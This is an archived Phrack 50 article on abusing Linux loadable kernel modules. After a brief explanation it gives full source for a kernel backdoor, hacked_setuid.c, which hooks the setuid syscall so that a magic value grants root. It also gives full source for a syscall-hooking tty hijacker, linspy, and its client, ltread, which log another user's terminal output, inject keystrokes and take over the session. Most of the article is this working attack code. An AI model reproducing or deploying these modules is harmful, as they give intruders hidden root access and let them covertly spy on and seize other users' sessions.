home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / p50_05.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  13.1 KB  |  539 lines

  1.                                 .oO Phrack 50 Oo.
  2.  
  3.                             Volume Seven, Issue Fifty
  4.  
  5.                                      5 of 16
  6.  
  7.                    ============================================
  8.                    Abuse of the Linux Kernel for Fun and Profit
  9.                               halflife@infonexus.com 
  10.                    [guild  corporation]
  11.                    ============================================
  12.  
  13. Introduction
  14. ------------
  15.    Loadable modules are a very useful feature in linux, as they let
  16. you load device drivers on a as-needed basis.  However, there is
  17. a bad side: they make kernel hacking almost TOO easy.  What happens
  18. when you can no longer trust your own kernel...?  This article describes
  19. a simple way kernel modules can be easily abused. 
  20.  
  21. System calls
  22. ------------
  23.    System calls. These are the lowest level of functions available, and
  24. are implemented within the kernel. In this article, we will discuss how
  25. they can be abused to let us write a very simplistic tty hijacker/monitor.
  26. All code was written and designed for linux machines, and will not compile
  27. on anything else, since we are mucking with the kernel.
  28.  
  29.     TTY Hijackers, such as tap and ttywatcher are common on Solaris,
  30. SunOS, and other systems with STREAMS, but Linux thus far has not had
  31. a useful tty hijacker (note: I don't consider pty based code such as
  32. telnetsnoop to be a hijacker, nor very useful since you must make
  33. preparations ahead of time to monitor users).
  34.  
  35.    Since linux currently lacks STREAMS (LinSTREAMS appears to be dead),
  36. we must come up with a alternative way to monitor the stream.  Stuffing
  37. keystrokes is not a problem, since we can use the TIOCSTI ioctl to stuff
  38. keystrokes into the input stream.  The solution, of course, is to redirect
  39. the write(2) system call to our own code which logs the contents of the
  40. write if it is directed at our tty;  we can then call the real write(2)
  41. system call.
  42.  
  43.    Clearly, a device driver is going to be the best way to do things.  We
  44. can read from the device to get the data that has been logged, and add
  45. a ioctl or two in order to tell our code exactly what tty we want to log.
  46.  
  47.  
  48. Redirection of system calls
  49. ---------------------------
  50.    System calls are pretty easy to redirect to our own code.  It works in
  51. principle like DOS terminate and stay resident code.  We save the old
  52. address in a variable, then set a new one pointing to our code.  In our
  53. code, we do our thing, and then call the original code when finished.
  54.  
  55.    A very simple example of this is contained in hacked_setuid.c, which
  56. is a simple loadable module that you can insmod, and once it is inserted
  57. into the kernel, a setuid(4755) will set your uid/euid/gid/egid to 0.
  58. (See the appended file for all the code.)  The addresses for the
  59. syscalls are contained in the sys_call_table array.  It is relatively easy
  60. to redirect syscalls to point to our code.  Once we have done this, many
  61. things are possible...
  62.  
  63. Linspy notes
  64. ------------
  65.    This module is VERY easy to spot, all you have to do is cat /proc/modules 
  66. and it shows up as plain as day.  Things can be done to fix this, but I
  67. have no intention on doing them.
  68.  
  69.    To use linspy, you need to create an ltap device, the major should
  70. be 40 and the minor should be 0.  After you do that, run make and then
  71. insmod the linspy device.  Once it is inserted, you can run ltread [tty]
  72. and if all goes well, you should see stuff that is output to the user's
  73. screen.  If all does not go well ... well, I shall leave that to your
  74. nightmares.
  75.  
  76. The Code [use the included extract.c utility to unarchive the code]
  77. ---------------------------------------------------------------------
  78.  
  79.  
  80. <++> linspy/Makefile
  81. CONFIG_KERNELD=-DCONFIG_KERNELD
  82. CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
  83. CC=gcc
  84. # this is the name of the device you have (or will) made with mknod
  85. DN = '-DDEVICE_NAME="/dev/ltap"'
  86. # 1.2.x need this to compile, comment out on 1.3+ kernels
  87. V = #-DNEED_VERSION
  88. MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
  89.  
  90. all:        linspy ltread setuid
  91.  
  92. linspy:        linspy.c /usr/include/linux/version.h
  93.         $(CC) $(MODCFLAGS) -c linspy.c
  94.  
  95. ltread:        
  96.         $(CC) $(DN) -o ltread ltread.c
  97.  
  98. clean:        
  99.         rm *.o ltread
  100.  
  101. setuid:        hacked_setuid.c /usr/include/linux/version.h
  102.         $(CC) $(MODCFLAGS) -c hacked_setuid.c
  103.                                                      
  104. <--> end Makefile
  105. <++> linspy/hacked_setuid.c
  106. int errno;
  107. #include <linux/sched.h>
  108. #include <linux/mm.h>
  109. #include <linux/malloc.h>
  110. #include <linux/errno.h>
  111. #include <linux/sched.h>
  112. #include <linux/kernel.h>
  113. #include <linux/times.h>
  114. #include <linux/utsname.h>
  115. #include <linux/param.h>
  116. #include <linux/resource.h>
  117. #include <linux/signal.h>
  118. #include <linux/string.h>
  119. #include <linux/ptrace.h>
  120. #include <linux/stat.h>
  121. #include <linux/mman.h>
  122. #include <linux/mm.h>
  123. #include <asm/segment.h>
  124. #include <asm/io.h>
  125. #include <linux/module.h>
  126. #include <linux/version.h>
  127. #include <errno.h>
  128. #include <linux/unistd.h>
  129. #include <string.h>
  130. #include <asm/string.h>
  131. #include <sys/syscall.h>
  132. #include <sys/types.h>
  133. #include <sys/sysmacros.h>
  134. #ifdef NEED_VERSION
  135. static char kernel_version[] = UTS_RELEASE;
  136. #endif
  137. static inline _syscall1(int, setuid, uid_t, uid);
  138. extern void *sys_call_table[];
  139. void *original_setuid;
  140. extern int hacked_setuid(uid_t uid)
  141. {
  142.    int i;                     
  143.    if(uid == 4755)
  144.    {
  145.       current->uid = current->euid = current->gid = current->egid = 0;
  146.       return 0;
  147.    }
  148.    sys_call_table[SYS_setuid] = original_setuid;
  149.    i = setuid(uid);
  150.    sys_call_table[SYS_setuid] = hacked_setuid;
  151.    if(i == -1) return -errno;
  152.    else return i;
  153. }
  154. int init_module(void)
  155. {
  156.    original_setuid = sys_call_table[SYS_setuid];
  157.    sys_call_table[SYS_setuid] = hacked_setuid;
  158.    return 0;
  159. }
  160. void cleanup_module(void)
  161. {
  162.    sys_call_table[SYS_setuid] = original_setuid;
  163. }  
  164. <++> linspy/linspy.c
  165. int errno;
  166. #include <linux/tty.h>
  167. #include <linux/sched.h>
  168. #include <linux/mm.h>
  169. #include <linux/malloc.h>
  170. #include <linux/errno.h>
  171. #include <linux/sched.h>
  172. #include <linux/kernel.h>
  173. #include <linux/times.h>
  174. #include <linux/utsname.h>
  175. #include <linux/param.h>
  176. #include <linux/resource.h>
  177. #include <linux/signal.h>
  178. #include <linux/string.h>
  179. #include <linux/ptrace.h>
  180. #include <linux/stat.h>
  181. #include <linux/mman.h>
  182. #include <linux/mm.h>
  183. #include <asm/segment.h>
  184. #include <asm/io.h>
  185. #ifdef MODULE
  186. #include <linux/module.h>       
  187. #include <linux/version.h>
  188. #endif
  189. #include <errno.h>
  190. #include <asm/segment.h>
  191. #include <linux/unistd.h>
  192. #include <string.h>
  193. #include <asm/string.h>
  194. #include <sys/syscall.h>
  195. #include <sys/types.h>
  196. #include <sys/sysmacros.h>
  197. #include <linux/vt.h>
  198.  
  199. /* set the version information, if needed */
  200. #ifdef NEED_VERSION
  201. static char kernel_version[] = UTS_RELEASE;
  202. #endif
  203.  
  204. #ifndef MIN
  205. #define MIN(a,b)        ((a) < (b) ? (a) : (b))
  206. #endif
  207.  
  208. /* ring buffer info */        
  209.  
  210. #define BUFFERSZ        2048
  211. char buffer[BUFFERSZ];
  212. int queue_head = 0;
  213. int queue_tail = 0;
  214.  
  215. /* taken_over indicates if the victim can see any output */
  216. int taken_over = 0;
  217.  
  218. static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
  219. extern void *sys_call_table[];
  220.  
  221. /* device info for the linspy device, and the device we are watching */
  222. static int linspy_major = 40;
  223. int tty_minor = -1;
  224. int tty_major = 4;
  225.  
  226. /* address of original write(2) syscall */
  227. void *original_write;
  228.  
  229. void save_write(char *, size_t);
  230.  
  231.  
  232. int out_queue(void) 
  233. {
  234.    int c;
  235.    if(queue_head == queue_tail) return -1;
  236.    c = buffer[queue_head];
  237.    queue_head++;
  238.    if(queue_head == BUFFERSZ) queue_head=0;
  239.    return c;
  240. }
  241.  
  242. int in_queue(int ch)
  243. {
  244.    if((queue_tail + 1) == queue_head) return 0;
  245.    buffer[queue_tail] = ch;
  246.    queue_tail++;
  247.    if(queue_tail == BUFFERSZ) queue_tail=0;
  248.    return 1;
  249. }
  250.  
  251.  
  252. /* check if it is the tty we are looking for */
  253. int is_fd_tty(int fd)
  254. {
  255.    struct file *f=NULL;
  256.    struct inode *inode=NULL;
  257.    int mymajor=0;
  258.    int myminor=0;
  259.  
  260.    if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
  261.       return 0;
  262.    mymajor = major(inode->i_rdev);
  263.    myminor = minor(inode->i_rdev);
  264.    if(mymajor != tty_major) return 0;
  265.    if(myminor != tty_minor) return 0;
  266.    return 1;
  267. }
  268.  
  269. /* this is the new write(2) replacement call */
  270. extern int new_write(int fd, char *buf, size_t count)
  271. {
  272.    int r;
  273.    if(is_fd_tty(fd))
  274.    {
  275.       if(count > 0)
  276.          save_write(buf, count);
  277.       if(taken_over) return count;
  278.    }
  279.    sys_call_table[SYS_write] = original_write;
  280.    r = write(fd, buf, count); 
  281.    sys_call_table[SYS_write] = new_write;
  282.    if(r == -1) return -errno;
  283.    else return r;
  284. }
  285.  
  286.  
  287. /* save data from the write(2) call into the buffer */
  288. void save_write(char *buf, size_t count)
  289. {
  290.    int i;
  291.    for(i=0;i < count;i++)
  292.       in_queue(get_fs_byte(buf+i));
  293. }
  294.  
  295. /* read from the ltap device - return data from queue */
  296. static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
  297. {
  298.    int i;
  299.    int c;
  300.    int cnt=0;
  301.    if(current->euid != 0) return 0;
  302.    for(i=0;i < count;i++)
  303.    {
  304.       c = out_queue();
  305.       if(c < 0) break;
  306.       cnt++;
  307.       put_fs_byte(c, buf+i);
  308.    }
  309.    return cnt;
  310. }
  311.  
  312. /* open the ltap device */
  313. static int linspy_open(struct inode *in, struct file *fi)
  314. {
  315.    if(current->euid != 0) return -EIO;
  316.    MOD_INC_USE_COUNT;
  317.    return 0;
  318. }
  319.  
  320. /* close the ltap device */
  321. static void linspy_close(struct inode *in, struct file *fi)
  322. {
  323.    taken_over=0;
  324.    tty_minor = -1;
  325.    MOD_DEC_USE_COUNT;
  326. }
  327.              
  328. /* some ioctl operations */
  329. static int
  330. linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
  331. {
  332. #define LS_SETMAJOR     0
  333. #define LS_SETMINOR     1
  334. #define LS_FLUSHBUF     2
  335. #define LS_TOGGLE       3
  336.  
  337.    if(current->euid != 0) return -EIO;
  338.    switch(cmd)
  339.    {
  340.       case LS_SETMAJOR:
  341.          tty_major = args;
  342.          queue_head = 0;
  343.          queue_tail = 0;
  344.          break;
  345.       case LS_SETMINOR:
  346.          tty_minor = args;
  347.          queue_head = 0;
  348.          queue_tail = 0;
  349.          break;
  350.      case LS_FLUSHBUF:
  351.          queue_head=0;
  352.          queue_tail=0;
  353.          break;
  354.      case LS_TOGGLE:
  355.          if(taken_over) taken_over=0;
  356.          else taken_over=1;
  357.          break;
  358.       default:
  359.          return 1;
  360.    }
  361.    return 0;
  362. }
  363.  
  364.  
  365. static struct file_operations linspy = {
  366. NULL,
  367. linspy_read,
  368. NULL,
  369. NULL,
  370. NULL,
  371. linspy_ioctl,
  372. NULL, 
  373. linspy_open,
  374. linspy_close,
  375. NULL
  376. };
  377.  
  378.  
  379. /* init the loadable module */
  380. int init_module(void)
  381. {
  382.    original_write = sys_call_table[SYS_write];
  383.    sys_call_table[SYS_write] = new_write;
  384.    if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
  385.    return 0;
  386. }
  387.  
  388. /* cleanup module before being removed */
  389. void cleanup_module(void)
  390. {
  391.    sys_call_table[SYS_write] = original_write;
  392.    unregister_chrdev(linspy_major, "linspy");
  393. }
  394. <--> end linspy.c
  395. <++> linspy/ltread.c
  396. #include <stdio.h>
  397. #include <stdlib.h>
  398. #include <unistd.h>
  399. #include <termios.h>
  400. #include <string.h>
  401. #include <fcntl.h>
  402. #include <signal.h>
  403. #include <sys/types.h>
  404. #include <sys/stat.h>
  405. #include <sys/sysmacros.h>
  406.  
  407. struct termios save_termios;
  408. int ttysavefd = -1;
  409. int fd;
  410.  
  411. #ifndef DEVICE_NAME
  412. #define DEVICE_NAME "/dev/ltap"
  413. #endif
  414.  
  415. #define LS_SETMAJOR     0
  416. #define LS_SETMINOR     1
  417.  
  418. #define LS_FLUSHBUF     2
  419. #define LS_TOGGLE       3
  420.  
  421. void stuff_keystroke(int fd, char key)
  422. {
  423.    ioctl(fd, TIOCSTI, &key);
  424. }
  425.  
  426. int tty_cbreak(int fd)
  427. {
  428.    struct termios buff;
  429.    if(tcgetattr(fd, &save_termios) < 0)
  430.       return -1;
  431.    buff = save_termios;
  432.    buff.c_lflag &= ~(ECHO | ICANON);
  433.    buff.c_cc[VMIN] = 0;
  434.    buff.c_cc[VTIME] = 0;
  435.    if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
  436.       return -1;
  437.    ttysavefd = fd;
  438.    return 0;
  439. }
  440.  
  441.  char *get_device(char *basedevice)
  442. {
  443.    static char devname[1024];
  444.    int fd;
  445.  
  446.    if(strlen(basedevice) > 128) return NULL;
  447.    if(basedevice[0] == '/')
  448.       strcpy(devname, basedevice);
  449.    else
  450.       sprintf(devname, "/dev/%s", basedevice);
  451.    fd = open(devname, O_RDONLY);
  452.    if(fd < 0) return NULL;
  453.    if(!isatty(fd)) return NULL;
  454.    close(fd);
  455.    return devname;
  456. }
  457.  
  458.  
  459. int do_ioctl(char *device)
  460. {
  461.    struct stat mystat;
  462.  
  463.    if(stat(device, &mystat) < 0) return -1;
  464.     fd = open(DEVICE_NAME, O_RDONLY);
  465.    if(fd < 0) return -1;
  466.    if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
  467.    if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
  468. }
  469.  
  470.  
  471. void sigint_handler(int s)
  472. {
  473.    exit(s);
  474. }
  475.  
  476. void cleanup_atexit(void)
  477. {
  478.    puts(" ");
  479.    if(ttysavefd >= 0)
  480.       tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
  481. }
  482.  
  483. main(int argc, char **argv)
  484. {
  485.    int my_tty;
  486.    char *devname;
  487.     unsigned char ch;
  488.    int i;
  489.  
  490.    if(argc != 2)
  491.    {
  492.       fprintf(stderr, "%s ttyname\n", argv[0]);
  493.       fprintf(stderr, "ttyname should NOT be your current tty!\n");
  494.       exit(0);
  495.    }
  496.    devname = get_device(argv[1]);
  497.    if(devname == NULL)
  498.    {
  499.       perror("get_device");
  500.       exit(0);
  501.    }
  502.    if(tty_cbreak(0) < 0)
  503.    {
  504.       perror("tty_cbreak");
  505.       exit(0);
  506.    }
  507.    atexit(cleanup_atexit);
  508.    signal(SIGINT, sigint_handler);
  509.    if(do_ioctl(devname) < 0)
  510.    {
  511.       perror("do_ioctl");
  512.       exit(0);
  513.    }
  514.    my_tty = open(devname, O_RDWR);
  515.    if(my_tty == -1) exit(0);
  516.    setvbuf(stdout, NULL, _IONBF, 0);
  517.    printf("[now monitoring session]\n");
  518.    while(1)
  519.    {
  520.       i = read(0, &ch, 1);
  521.       if(i > 0)
  522.       {
  523.          if(ch == 24)
  524.          {
  525.             ioctl(fd, LS_TOGGLE, 0);
  526.             printf("[Takeover mode toggled]\n");
  527.          }
  528.          else stuff_keystroke(my_tty, ch);
  529.       }
  530.       i = read(fd, &ch, 1);
  531.       if(i > 0)
  532.          putchar(ch);
  533.     }
  534. }
  535. <--> end ltread.c
  536.  
  537.  
  538. EOF
  539.